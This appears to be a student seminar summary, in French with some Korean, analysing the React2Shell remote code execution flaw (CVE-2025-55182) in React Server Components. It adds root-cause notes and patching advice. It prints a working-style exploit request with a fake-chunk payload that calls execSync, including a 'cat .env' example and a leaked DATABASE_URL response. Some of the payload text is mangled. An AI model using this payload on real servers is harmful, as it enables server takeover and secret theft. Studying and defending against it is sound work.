
[Notre FISA] Gagnant du séminaire technique - Équipe 3 de la 6ème promotion de développement de services cloud - Analyse et recherche de React2Shell (CVE-2025-55182)
우리FISA 기술세미나 6기 - 3팀 React Server Component(RSC)의 설계 결함을 이용한 원격 코드 실행(RCE) 취약점, React2Shell 분석 및 연구

| Membre | Rôle | GitHub |
|---|---|---|
| 남인서 | Recherche documentaire, création de PPT, présentation | @sene03 |
| 유승준 | Recherche documentaire, création de PPT, présentation | @fluanceifi |
| 이수현 | Recherche documentaire, création de PPT | @hyun793 |
| 김유정 | Recherche documentaire, création de PPT | @yujung23 |
React2Shell(CVE-2025-55182) est une vulnérabilité de sécurité critique découverte dans le processus de communication du Flight Protocol utilisé par le React Server Component (RSC).
Pour traiter les composants, React utilise le Flight Protocol qui prend en charge des types complexes tels que Promise, Blob, Map en plus des chaînes et des tableaux.
| Expression | Type | Description |
|---|---|---|
$$ | $ échappé | Chaîne littérale commençant par $ |
$@ | Promise/Chunk | Référence d'ID de chunk |
L'attaquant exploite les vulnérabilités de ce traitement de flux de protocole pour injecter des scripts malveillants et prendre le contrôle du serveur.
L'attaquant envoie des données JSON au serveur via une requête contenant les en-têtes Next-Action et multipart/form-data. Le corps de la requête contient un faux bloc (Fake Chunk) déguisé en objet Promise.
POST / HTTP/1.1
Host: localhost: 3000
[... 기타 헤더 생략 ...]
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('실행할 명령어',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}
------WebkitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":
// 공격자가 전송한 가짜 청크 예시
{
"then" : "$1:__proto__:then"
"status" : "resolved_model",
"reason" : -1,
"value" : "{\"then\":\"$B0\"}",
"_response" : {
"_prefix": "execSync('cat .env'); //",
"_formData":{"get": "$1:constructor:constructor"}
}
}
then du faux bloc envoyé par l'attaquant est mappé à Chunk.prototype.then._prefix est passé comme argument à Function.thenable d'une Promise, le code arbitraire placé par l'attaquant est exécuté sur le serveur.// POST 요청에 대한 응답 예시
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // 여기서 hasOwnProperty check가 누락됨!
}
$1:path:to:value, React divise la chaîne au niveau des deux-points (:) pour parcourir l'objet.$1:__proto__:then permet d'accéder au prototype du chunk et au then de cet objet (Chunk.prototype.then).Cette vulnérabilité a provoqué une onde de choc dans tout l'écosystème web moderne.
L'incident React2Shell a laissé une leçon : « Les développeurs frontend doivent aussi comprendre la sécurité serveur. »
Mettre à jour immédiatement les packages concernés tels que react-server-dom-webpack vers la dernière version (19.0.1+ etc.)
Les frameworks intégrant RSC comme Next.js ne sont pas résolus par une simple mise à jour de React ; il est nécessaire de consulter les notes de version de sécurité du framework lui-même et d'effectuer une mise à niveau vers la version la plus récente.
Utiliser un système de surveillance comme Grafana et le connecter à des canaux d'alerte (email, Slack, etc.) pour pouvoir prendre des mesures immédiates.
Avec l'expansion du domaine du frontend grâce aux avancées technologiques, il faut reconnaître que l'étendue de la responsabilité en matière de sécurité s'est également élargie.
React2Shell : Guide d'analyse complet de la vulnérabilité CVE-2025-55182
Analyse des vulnérabilités des composants serveur React et des chemins de pénétration système